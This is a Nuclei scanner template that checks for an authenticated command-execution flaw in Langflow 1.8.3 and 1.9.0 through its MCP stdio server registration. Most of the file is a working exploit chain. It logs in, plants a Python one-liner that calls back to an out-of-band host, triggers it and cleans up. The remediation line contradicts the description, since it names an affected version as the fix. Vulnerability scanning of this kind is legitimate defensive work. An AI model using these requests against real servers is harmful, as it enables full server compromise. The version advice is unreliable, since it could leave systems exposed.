CVE-2026-105740: Langflow 1.8.3 and 1.9.0 - Authenticated MCP Stdio Command Execution

id: CVE-2026-105740

info:
  name: Langflow 1.8.3 and 1.9.0 - Authenticated MCP Stdio Command Execution
  author: alex700
  severity: critical
  description: |
    An authenticated user can register an MCP stdio server command that executes
    when Langflow lists server actions. The 1.9.0 REST validation can be bypassed
    by placing arguments in the command field. This probe runs a short Python
    callback, verifies an out-of-band DNS lookup, and removes its server config.
    The equivalent sink is hardened in 1.10.3.
  impact: |
    Authenticated users can execute arbitrary commands on the server, potentially leading to full server compromise.
  remediation: |
    Upgrade to version 1.9.0 or later.
  reference:
    - https://github.com/langflow-ai/langflow/security/advisories/GHSA-7w94-79vh-5mr2
    - https://github.com/langflow-ai/langflow/pull/12290
    - https://github.com/langflow-ai/langflow/security/advisories/GHSA-w794-rj3p-xv45
    - https://nvd.nist.gov/vuln/detail/CVE-2026-105740
  classification:
    cve-id: CVE-2026-105740
    epss-score: 0.03885
    epss-percentile: 0.90305
    cwe-id: CWE-78
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.9
  metadata:
    verified: true
    max-request: 5
    vendor: langflow-ai
    product: langflow
  tags: cve,cve2026,langflow,mcp,rce,authenticated,oast,intrusive,vkev

variables:
  probe_name: "nuclei_{{randstr}}"

flow: 'if (http(1) && http(2)) { http(3); http(4); http(5) }'

http:
  - raw:
      - |
        POST /api/v1/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{url_encode(username)}}&password={{url_encode(password)}}
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200 && contains(content_type, "application/json") && contains(body, "access_token")'
        internal: true
    extractors:
      - type: json
        name: access_token
        part: body
        json:
          - '.access_token'
        internal: true

  - raw:
      - |
        POST /api/v2/mcp/servers/{{probe_name}} HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{access_token}}
        Content-Type: application/json

        {"command":"python3 -c \"import urllib.request;urllib.request.urlopen('http://{{interactsh-url}}',timeout=3)\"","args":[],"env":{}}
    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(content_type, "application/json")
        condition: and
        internal: true

  - raw:
      - |
        GET /api/v2/mcp/servers?action_count=true HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{access_token}}
    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(content_type, "application/json")
        condition: and
        internal: true

  - raw:
      - |
        DELETE /api/v2/mcp/servers/{{probe_name}} HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{access_token}}
    matchers:
      - type: dsl
        dsl:
          - status_code == 200
        internal: true

  - raw:
      - |
        GET /api/v2/mcp/servers HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{access_token}}
    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - "!contains(body, probe_name)"
        condition: and
      - type: word
        part: interactsh_protocol
        words:
          - dns
# digest: 4b0a00483046022100fa72780ae26ef816a1a7cdfd6be73cd4bb0b0c5fffe32aa556d2633f64f3f1b70221009aa8747ac6402af677d214037ec60cbbf5c295d52093bce6e0dfbf859fdd5068:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.